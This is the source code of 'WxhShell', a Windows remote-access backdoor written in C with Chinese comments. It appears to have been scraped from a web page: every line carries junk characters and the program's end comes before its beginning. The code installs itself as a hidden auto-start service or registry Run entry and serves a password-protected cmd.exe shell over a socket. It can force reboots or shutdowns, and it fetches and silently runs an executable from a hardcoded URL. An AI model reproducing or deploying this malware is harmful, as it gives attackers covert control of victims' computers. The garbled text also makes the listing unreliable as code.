    if(Boot(SHUTDOWN)) |B`-chK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C2<y(GU[Bh  
    else { NYP3uGH]  
    closesocket(wsh); -&)^|Atm  
    ExitThread(0); ,;+\!'lS  
    } 7Wb.(` a<  
    break; lR.a3.~  
    } {+xUAmd  
  // 获取shell u~s'<c+8_  
  case 's': { dt`L}Yi  
    CmdShell(wsh); =AD/5E,3  
    closesocket(wsh); !-.-!hBN  
    ExitThread(0); v9inBBC q  
    break; a|nlmH"l  
  } sx]?^KR:  
  // 退出 uTl:u  
  case 'x': { /kw4":{]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yN>"r2   
    CloseIt(wsh); MT6kJDyLu  
    break; ,o9)ohw  
    } !5B9:p~-  
  // 离开 ~5!ukGK_  
  case 'q': { pK'WJ 72U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); EW5S%Y  
    closesocket(wsh); b,Z& P|  
    WSACleanup(); ='VIbE@qC  
    exit(1); t*qA.xc6  
    break; vhL&az  
        } E<\\'VF  
  } *<Ddn&_  
  } oVq@M  
\B}W(^\wg;  
  // 提示信息 c<D Yk f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ra{B8)Q  
} COHJJONR  
  } dlT\VWMha(  
chd${ j  
  return; nZ bg  
} :.35pp,0  
c%Gz{':+  
// shell模块句柄 p +T&9  
int CmdShell(SOCKET sock) z!3Z^d`  
{ jSG jv>  
STARTUPINFO si; &R5M&IwL  
ZeroMemory(&si,sizeof(si)); D{loX6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }oN(nPxv9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `+f\Q2]Z  
PROCESS_INFORMATION ProcessInfo; aDOH3Ri0K!  
char cmdline[]="cmd"; DY07?x7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )/U1; O  
  return 0; e`~q ;?:  
} Z~c7r n  
^=W&p%Y(!  
// 自身启动模式 TdE_\gEo/R  
int StartFromService(void) f.f4<_v'h  
{ kdHql>0  
typedef struct f9Xw]G9  
{ %om7h$D =`  
  DWORD ExitStatus; E1C8yIF  
  DWORD PebBaseAddress; >WDpBn:  
  DWORD AffinityMask; .lFSFJ??  
  DWORD BasePriority; IRU2/Ycg  
  ULONG UniqueProcessId; R/wSGP`W  
  ULONG InheritedFromUniqueProcessId; s{,e^T  
}   PROCESS_BASIC_INFORMATION; /,>.${,;u  
 ~Afs  
PROCNTQSIP NtQueryInformationProcess; 3> (`Y  
9@1W=sl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~>C>LH>8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *Qf }4a0  
7wqwDE  
  HANDLE             hProcess; R:xmcUq} (  
  PROCESS_BASIC_INFORMATION pbi;  vXvV5Oq  
Kje+Niz7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -J30g\  
  if(NULL == hInst ) return 0; - Q@d  
kC k-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^0&] .m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }M7kApb>Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Sy'>JHx  
d J!o/y6  
  if (!NtQueryInformationProcess) return 0; -Fdi,\e  
3?XLHMxW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4eEs_R  
  if(!hProcess) return 0; &\H5*A.HkA  
]03ZrZ! PM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cR&xl^BJ  
KwHOV$lD;  
  CloseHandle(hProcess); iN*>Z(b"  
sZH7 EK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^pjez+  
if(hProcess==NULL) return 0; 2o$8CR;  
(lnQ!4LK  
HMODULE hMod; UBVb#FNF  
char procName[255]; 8<kme"% s  
unsigned long cbNeeded; '=H^m D+gl  
qck/b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +B m+Pj>  
1IV 0a  
  CloseHandle(hProcess); f UIs(}US  
KR}0(,Y  
if(strstr(procName,"services")) return 1; // 以服务启动 'O`3FI  
7&3URglsL"  
  return 0; // 注册表启动 "(N HA+s/  
} @5y(>>C}8%  
l0&8vhw8k  
// 主模块 8joQPHkI\  
int StartWxhshell(LPSTR lpCmdLine) )ziQ=k6d6  
{ nB5[]x'  
  SOCKET wsl; 8j'*IRj*q  
BOOL val=TRUE; 752wK|o0|;  
  int port=0; vdm?d/0(^  
  struct sockaddr_in door; wB)+og-^1f  
is(!_Iv  
  if(wscfg.ws_autoins) Install(); \uk#pL  
4I-p/&Q  
port=atoi(lpCmdLine); //Gvk|O1  
Oi0;.< kX  
if(port<=0) port=wscfg.ws_port; _@N)]!\MgP  
dM UDLr-  
  WSADATA data; `X='g96C1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tD]&et  
32iI :u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JF*g!sV%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `I8^QcP  
  door.sin_family = AF_INET; Oez}C,0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IDh`0/i]  
  door.sin_port = htons(port); mx9/K+:  
*d@Hnu"q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F}]_/cY7B  
closesocket(wsl); U!/nD~A  
return 1; &HK s >  
} ~TH5>``;gF  
-;\+uV  
  if(listen(wsl,2) == INVALID_SOCKET) { X~he36-+<  
closesocket(wsl);  +Rgw+o  
return 1; 0Qp'}_  
} igrog  
  Wxhshell(wsl);  |{)xC=  
  WSACleanup(); EQ7n'Wqq  
BozK!"R_<  
return 0; C 94@YWs  
c@-K  
} A_Iu*pz^^  
K$cIVsfr  
// 以NT服务方式启动 8 tygs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B  bw1k  
{ EQJ_$6  
DWORD   status = 0; Ue#yDTjc  
  DWORD   specificError = 0xfffffff; g&3#22z  
{7Avba  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X8 )>}#:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S<3!oDBs  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4)HWPX  
  serviceStatus.dwWin32ExitCode     = 0; {[5L96RH%  
  serviceStatus.dwServiceSpecificExitCode = 0; p=+*g.,O  
  serviceStatus.dwCheckPoint       = 0; (kQ.tsl  
  serviceStatus.dwWaitHint       = 0; n& m?BuG  
rm=~^eB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P5}[*k%DQw  
  if (hServiceStatusHandle==0) return; -;)SER3Wq4  
9G&l qfX:  
status = GetLastError(); @B'8SLoP  
  if (status!=NO_ERROR) F|Dz]ar  
{ < mK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zrU$SWU  
    serviceStatus.dwCheckPoint       = 0; "YzTMKu  
    serviceStatus.dwWaitHint       = 0; xbrmPGpW$  
    serviceStatus.dwWin32ExitCode     = status; bEQtVe@`  
    serviceStatus.dwServiceSpecificExitCode = specificError; nqxq@.L2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {9Mdt`WL  
    return; sIRrEea  
  } 3.<6;?  
R;E"Qdt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i9\\evJs  
  serviceStatus.dwCheckPoint       = 0; HCjn9  
  serviceStatus.dwWaitHint       = 0; :uwRuPI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JXY!c\,  
} rZ.a>'T4  
}1]!#yMfq  
// 处理NT服务事件,比如:启动、停止 ]v@tZ}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [B ~zoB(  
{ %V%#y $l  
switch(fdwControl) 2Ph7qEBQ22  
{ v!#`W  
case SERVICE_CONTROL_STOP: {{]=zt|69  
  serviceStatus.dwWin32ExitCode = 0; ;V"yMWjc  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?St=7a(D  
  serviceStatus.dwCheckPoint   = 0; K_&c5(-(_  
  serviceStatus.dwWaitHint     = 0; {"0TO|%x  
  { }&(E#*>x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F/h:&B:;  
  } 64!ame}n+  
  return; CFBUQMl >  
case SERVICE_CONTROL_PAUSE: *K}z@a_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [^U;  
  break; ?b@q5Y  
case SERVICE_CONTROL_CONTINUE: X&9^&U=e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; FU5LY XCs  
  break; @7Rt4}g  
case SERVICE_CONTROL_INTERROGATE: 4h;f>BG  
  break; (pE\nuA\  
}; P^b:?%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t*Vao  
} Krp <bK6  
?v"K1C1.  
// 标准应用程序主函数 # Z|%0r_~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C`2*2Y%xkG  
{ m6_~`)R8  
k+WO &g*|  
// 获取操作系统版本 uG=t?C6  
OsIsNt=GetOsVer(); V4`:Vci Aw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3yHb!}F  
;z.6'EYMG  
  // 从命令行安装 :$M9XZ~\  
  if(strpbrk(lpCmdLine,"iI")) Install(); V6@*\+:3)  
L9{mYA]q  
  // 下载执行文件 ;L G %s  
if(wscfg.ws_downexe) { p|h.@do4   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `P^u:  
  WinExec(wscfg.ws_filenam,SW_HIDE); &547`*  
} o%V @D'w  
0<]$v"`I  
if(!OsIsNt) { &TP:yA[  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~^lH ^J   
HideProc(); MiSja#"+A  
StartWxhshell(lpCmdLine); ]5} -y3  
} lL:KaQ0E  
else A~6%,q@^jh  
  if(StartFromService()) 6[+\CS7Lt  
  // 以服务方式启动 <CZI7]PM7  
  StartServiceCtrlDispatcher(DispatchTable); 5T$}Oy1  
else MekT?KPQ{L  
  // 普通方式启动 ( oQ'4,F  
  StartWxhshell(lpCmdLine); '[>\N4WD  
0kU3my]  
return 0; $i,6B9  
} DO7- =74=  
G0I~&?nDa  
TJHN/Z/  
a&$Zpf!!  
=========================================== 5nMkd/  
h^o+E2<]  
ruZYehu1W  
uSABh ^  
pT("2:)x  
V*6l6-y~Ih  
" cm@jt\D  
i{TIm}_\  
#include <stdio.h> bK ?1MiXb  
#include <string.h> Y3vX)D}  
#include <windows.h> 1YJ_1VJ  
#include <winsock2.h> DNm(:%)0  
#include <winsvc.h> u iBl#J Q  
#include <urlmon.h> OD  
vC{ h2A  
#pragma comment (lib, "Ws2_32.lib") ad"'O]  
#pragma comment (lib, "urlmon.lib") \@Ee9C 13  
X}zX`]:I'  
#define MAX_USER   100 // 最大客户端连接数 Pv< QjY  
#define BUF_SOCK   200 // sock buffer ;Ay >+M2O  
#define KEY_BUFF   255 // 输入 buffer ~ A^E  
69t7=r  
#define REBOOT     0   // 重启 F;IP3tD  
#define SHUTDOWN   1   // 关机 ,9=gVW{  
J+{Ou rWt  
#define DEF_PORT   5000 // 监听端口 8K|J:[7  
M:R8<.{  
#define REG_LEN     16   // 注册表键长度 P7's8KOoS  
#define SVC_LEN     80   // NT服务名长度 1i4WWK7k  
<e;jW K  
// 从dll定义API dv"as4~%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yOX&cZ[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %9t{Z1$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nAIH`L"X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5JS ZLC  
seu ~'s-  
// wxhshell配置信息 } sf YCz  
struct WSCFG { Z8&4z.6_  
  int ws_port;         // 监听端口 WHp97S'd  
  char ws_passstr[REG_LEN]; // 口令 MQwIPjk8  
  int ws_autoins;       // 安装标记, 1=yes 0=no vTpStoUM  
  char ws_regname[REG_LEN]; // 注册表键名 D,c!#(v cK  
  char ws_svcname[REG_LEN]; // 服务名 JT4wb]kdV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 JDkCUN5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SXQ@;= ]xV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "Owct(9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r)gCTV(kb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hdo&\Q2D8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^`tk/#h\9F  
7e1dEgn  
}; z<a$q3!#  
'z)hG#{I  
// default Wxhshell configuration LyGUvi  
struct WSCFG wscfg={DEF_PORT, :%N*{uy  
    "xuhuanlingzhe", wz|DT3"Xs  
    1, y|^EGnaE  
    "Wxhshell", 8s<^]sFP  
    "Wxhshell", *~c qr  
            "WxhShell Service", 3I|O^   
    "Wrsky Windows CmdShell Service", ERF,tLa!  
    "Please Input Your Password: ", !6M Bxg>  
  1, ar Q)%W  
  "http://www.wrsky.com/wxhshell.exe", %Nj #0YF]  
  "Wxhshell.exe" kB8 Mi  
    }; cC' ~  
/dLA`=rZx  
// 消息定义模块 x5oOF7#5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E(_ KN[}S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,"B?_d6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (4~X}:  
char *msg_ws_ext="\n\rExit."; Mal<iNN  
char *msg_ws_end="\n\rQuit."; auRY|j  
char *msg_ws_boot="\n\rReboot..."; /-Wuq`P/ T  
char *msg_ws_poff="\n\rShutdown..."; ;>DHD*3X  
char *msg_ws_down="\n\rSave to "; &M[MEO`t8  
cQX:%Ix=  
char *msg_ws_err="\n\rErr!"; R<|ejw  
char *msg_ws_ok="\n\rOK!"; Rv,82iEKs  
S`=n&'  
char ExeFile[MAX_PATH]; hd5$yU5JQ  
int nUser = 0; "qawq0P8Z  
HANDLE handles[MAX_USER]; 7Re-5vz R  
int OsIsNt; w#&z]O9r  
R"Kz!NTB  
SERVICE_STATUS       serviceStatus; 3E,DipHg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FqwIJ|ct  
\QGa 4_#  
// 函数声明 wFvT0  
int Install(void); C,"=}z1P  
int Uninstall(void); bG(x:Py&  
int DownloadFile(char *sURL, SOCKET wsh); B52yaG8C  
int Boot(int flag); )B;M  
void HideProc(void); +oZH?N4yaM  
int GetOsVer(void); m<{"}4'  
int Wxhshell(SOCKET wsl); KnJx{8@z  
void TalkWithClient(void *cs); O=aw^|oj]  
int CmdShell(SOCKET sock); +i.u< T  
int StartFromService(void); vG~+r<:  
int StartWxhshell(LPSTR lpCmdLine); B!}BM}r  
_8^0!,j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q ]"jD#F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3V}(fnv  
9 6=Z"  
// 数据结构和表定义 Q4?EZ_O  
SERVICE_TABLE_ENTRY DispatchTable[] = 9OyNi  
{ #-{N Ws\  
{wscfg.ws_svcname, NTServiceMain}, [(ygisqt  
{NULL, NULL} ($62o&I  
}; *g_w I%l  
@r<b:?u  
// 自我安装 =WK04\H  
int Install(void) J=iRul^S  
{ 89Z#|#uM5  
  char svExeFile[MAX_PATH]; hbI;Hd  
  HKEY key; (rcMA>2=  
  strcpy(svExeFile,ExeFile); hm\\'_u  
u]E.iXp  
// 如果是win9x系统,修改注册表设为自启动 ;1`!wG-DD  
if(!OsIsNt) { 2Lfah?Tx~C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E]1##6Ae  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tuxRVV8l  
  RegCloseKey(key); NEV p8)w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tuLH}tkNY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u1^\MVO8  
  RegCloseKey(key); ]JdJe6`Mc  
  return 0; ]g,lRG  
    } *~2cG;B"e  
  } Pu;yEh  
} uw33:G  
else { t'g^W  
mb1Vu  
// 如果是NT以上系统,安装为系统服务 % 5z gd>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HCj> ,^<h  
if (schSCManager!=0) mI"D(bx\  
{ ^m%52Tm h  
  SC_HANDLE schService = CreateService w"8V0z  
  ( NiA4JgM]v  
  schSCManager, :, _!pe;H  
  wscfg.ws_svcname, &94W-zh  
  wscfg.ws_svcdisp, c -B/~&  
  SERVICE_ALL_ACCESS, R0wf#%97  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oa`#RC8N  
  SERVICE_AUTO_START, {DwIjy31T  
  SERVICE_ERROR_NORMAL, ?pG/m%[  
  svExeFile, =45W\  
  NULL, .'T40=7  
  NULL, {kL&Rv%'  
  NULL,  3-|3`(  
  NULL, GeV+/^u  
  NULL .z-UOyer  
  ); uel{`T[S  
  if (schService!=0) J,5+47b1}R  
  { wL3,g2-L  
  CloseServiceHandle(schService); CU$#0f>  
  CloseServiceHandle(schSCManager); bd== +   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >c~RI7uu  
  strcat(svExeFile,wscfg.ws_svcname); ~3CVxbB^<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { IQnIaZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,T|x)"uA`  
  RegCloseKey(key); U~H?4Izl=  
  return 0; 4 1t)(+r  
    } ;>>C)c4V"  
  } V%NeZ1{ e  
  CloseServiceHandle(schSCManager); HB iBv-=,  
} ho.(v;  
} <)U4Xz?  
=Op+v"  
return 1; 0L#/lDNk  
} )`+YCCa6F  
uMmXs% 9T  
// 自我卸载 <f>akT,W  
int Uninstall(void) M%`\P\A  
{ dRaOGm)  
  HKEY key; QlEd6^&  
38IMxd9v  
if(!OsIsNt) { &<]<a_pw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :iPy m}CE  
  RegDeleteValue(key,wscfg.ws_regname); )9L/sKz  
  RegCloseKey(key); 2k5/SV X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $yu?.b 9H#  
  RegDeleteValue(key,wscfg.ws_regname); I#G0, &Gv  
  RegCloseKey(key); Eu,`7iQ?(  
  return 0; pqR\>d 0  
  } 3BQ!qO17^d  
} Q5a)}6-5  
} ?LP9iY${  
else { u:dx;*  
BVpO#c~I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MX|H}+\  
if (schSCManager!=0) 9Q.#\  
{ T!|=El>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KbW9s,:p  
  if (schService!=0) xDLG=A%]z  
  { #FH[hRo=6  
  if(DeleteService(schService)!=0) { "r'ozf2 \  
  CloseServiceHandle(schService); -e]7n*}H$  
  CloseServiceHandle(schSCManager); z#6?8y2-  
  return 0; IV`%V+ f  
  } D(]E/k@ ;~  
  CloseServiceHandle(schService); ytAWOt}`  
  } \6!W05[ Q  
  CloseServiceHandle(schSCManager); p $`92Be/  
} *>[3I}mM  
} (u1m]WYL  
~nY]o"8D  
return 1; p/ GVTf  
} bPbb\|u0d  
l.+yn91%>  
// 从指定url下载文件 3V<&|  
int DownloadFile(char *sURL, SOCKET wsh) DN] v_u+}  
{ )> a B  
  HRESULT hr; $E!J:Y=  
char seps[]= "/"; j\&pej  
char *token; # Su~`]  
char *file; v& $k9)]  
char myURL[MAX_PATH]; [wnDHy6W  
char myFILE[MAX_PATH]; r@G#[.*A>  
WyhhCR=;  
strcpy(myURL,sURL); %; "@Ah  
  token=strtok(myURL,seps); c1XX~8  
  while(token!=NULL) Af(WV>'  
  { 5*-3? <)e  
    file=token; ,  X{>  
  token=strtok(NULL,seps); Zu*K-ep"  
  } sW@krBxMv  
s>n(`?@L  
GetCurrentDirectory(MAX_PATH,myFILE); T^.Cc--c  
strcat(myFILE, "\\"); jeUUa-zR3  
strcat(myFILE, file); Wr?'$:  
  send(wsh,myFILE,strlen(myFILE),0); b;cMl'  
send(wsh,"...",3,0); E%N2k|%8d_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <%?#AVU[  
  if(hr==S_OK) o4y']JSN  
return 0; ~FU@wV^   
else eD?3"!c!  
return 1; j]rz] k  
/0MDISQy9  
} *# {z3{+  
?Bi*1V<R  
// 系统电源模块 z(y*hazK  
int Boot(int flag) "tk-w{>  
{ "Zv~QwC  
  HANDLE hToken; $A_]:qI2  
  TOKEN_PRIVILEGES tkp; %kshQ%P)?  
Q>< 0[EPj3  
  if(OsIsNt) { T1WWK'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *iA4:EIP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]e?x# <S  
    tkp.PrivilegeCount = 1; 8hanzwoJ:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V~IIY B7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JYb}Zw;  
if(flag==REBOOT) { iUk-'   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0#o/^Ah  
  return 0; )RgGcHT@  
} q!~ -(&S  
else { a?h*eAAc.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &EGqgNl  
  return 0; q'[}9e`Q  
} w*9br SK  
  } 26?W nu60  
  else { W#fZ1E6  
if(flag==REBOOT) { da!P0x9p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5K%SL1N  
  return 0; nuQ]8 -,  
} NE2pL@ sk  
else { -_OS%ARa  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) & WOiik  
  return 0; 8 )*2@-Rp  
} )j l 8!O7  
} VSX@e|Nj  
R7 jmv n  
return 1; >r@.F%  
} K BE Ax3  
B;6]NCx D  
// win9x进程隐藏模块 iRo.RU8>  
void HideProc(void) ;h=*!7:  
{ #FOqP!p.E  
Cs3^9m6;d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a 3SlxsWW  
  if ( hKernel != NULL ) F'}'(t+oAm  
  { e!-,PU9+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .R*!aK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "^j>tii  
    FreeLibrary(hKernel); r;>+)**@vl  
  } X r63?N  
BAj-akc f  
return; k,F"-K+M  
} }GMbBZ:nKK  
^jB8Q  
// 获取操作系统版本 RrZM&lXY  
int GetOsVer(void) asiov[o;  
{ fc=Patg  
  OSVERSIONINFO winfo; :#E*Y8-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @:0ddb71  
  GetVersionEx(&winfo); `?g`bN`Vn  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bu7'oB~:V^  
  return 1; n%^ LPD  
  else Gc]~w D$  
  return 0; wm{3&m  
} mbRq JT>@  
gF=jf2{YX  
// 客户端句柄模块 D%mXA70  
int Wxhshell(SOCKET wsl) W1Lr_z6  
{ l- pe4x  
  SOCKET wsh; s&kQlQ=  
  struct sockaddr_in client; >>b3ZE|5  
  DWORD myID; ,C.:;Ime({  
Jb)#fH$L  
  while(nUser<MAX_USER) hf/2vt m  
{ F;ZSzWq  
  int nSize=sizeof(client); ,d+fDmm3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zJDSbsc$%  
  if(wsh==INVALID_SOCKET) return 1; N/$`:8"  
.MW@;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &;,,H< p  
if(handles[nUser]==0) 1(Y7mM8\  
  closesocket(wsh); 93qwH%  
else `!:q;i]}  
  nUser++; 1% F?B-k  
  } <$w?/y/'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u cwnA  
ev0oO+u  
  return 0; HmfG$Z  
} X:a`B(@S  
N..j{FE  
// 关闭 socket /yz=Cjoz  
void CloseIt(SOCKET wsh) L9Z;:``p  
{ RgorkZlVM  
closesocket(wsh); l\AMl \  
nUser--; _I`,Br:N  
ExitThread(0); h eaRX4  
} U-k+9f 0  
aSuM2  
// 客户端请求句柄 ,:fl?x.X  
void TalkWithClient(void *cs) $&s=68  
{ n%R;-?*v  
g*)K/Z0pJ$  
  SOCKET wsh=(SOCKET)cs; `-`qdda  
  char pwd[SVC_LEN]; [%50/_h  
  char cmd[KEY_BUFF]; I KtB;  
char chr[1]; s]T""-He  
int i,j; l kyzNy9R  
Mypc3  
  while (nUser < MAX_USER) { &R|/t :DN  
fP tm0.r  
if(wscfg.ws_passstr) { &1l=X]%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IKMeJ(:S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #j#_cImE  
  //ZeroMemory(pwd,KEY_BUFF); |py6pek|  
      i=0; uPYmHA} _/  
  while(i<SVC_LEN) { gj\)CBOv  
q#Zs\PD  
  // 设置超时 ZvYLL{>}w  
  fd_set FdRead; j*e6 vX  
  struct timeval TimeOut; mNf8kwr  
  FD_ZERO(&FdRead); pME{jD  
  FD_SET(wsh,&FdRead); ZKQ hbNT  
  TimeOut.tv_sec=8; }>^Q'BW;65  
  TimeOut.tv_usec=0; *19ax&|*S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {7cX#1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EM7+VO(  
2oa#0`{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %8*64T")  
  pwd=chr[0]; {GvTfZfp  
  if(chr[0]==0xd || chr[0]==0xa) { >@WX>0`ht  
  pwd=0; "G-1>:   
  break; Eh-n  
  } +,o0-L1D  
  i++; <9=9b_z  
    } {QBB^px  
x}U8zt)yD3  
  // 如果是非法用户,关闭 socket uj%skOD6Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j-CnT)W<  
} Ngr/QL]Q  
VIP7OHJh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G*S|KH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B!gGK|8  
$F.([?)k?  
while(1) { SVjl~U-^  
Xi?b]Z  
  ZeroMemory(cmd,KEY_BUFF); pE{yv1Yg  
)$w*V9d  
      // 自动支持客户端 telnet标准   r'CM  
  j=0; r1ws1 rr=  
  while(j<KEY_BUFF) { wU#F_De)R:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2L AYDaS  
  cmd[j]=chr[0]; V`adWXu  
  if(chr[0]==0xa || chr[0]==0xd) { h8\  T  
  cmd[j]=0; th6+2&B6  
  break; QDpEb=|S  
  } iv phlw  
  j++; n~g)I&  
    } ]zO/A4  
:16P.z1L  
  // 下载文件 Lokl2o `  
  if(strstr(cmd,"http://")) { t+,4Ya|Xj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /8VP[i)u  
  if(DownloadFile(cmd,wsh)) g8!wb{8?s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H Te<x  
  else kc/{[ME  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;"O&X<BX-  
  } \#68;)+=  
  else { Q'k\8'x  
"x@='>:$  
    switch(cmd[0]) { p8s:g~ W  
  "<}&GcJbz  
  // 帮助 J5h+s-'  
  case '?': { &V|>dLT>A  
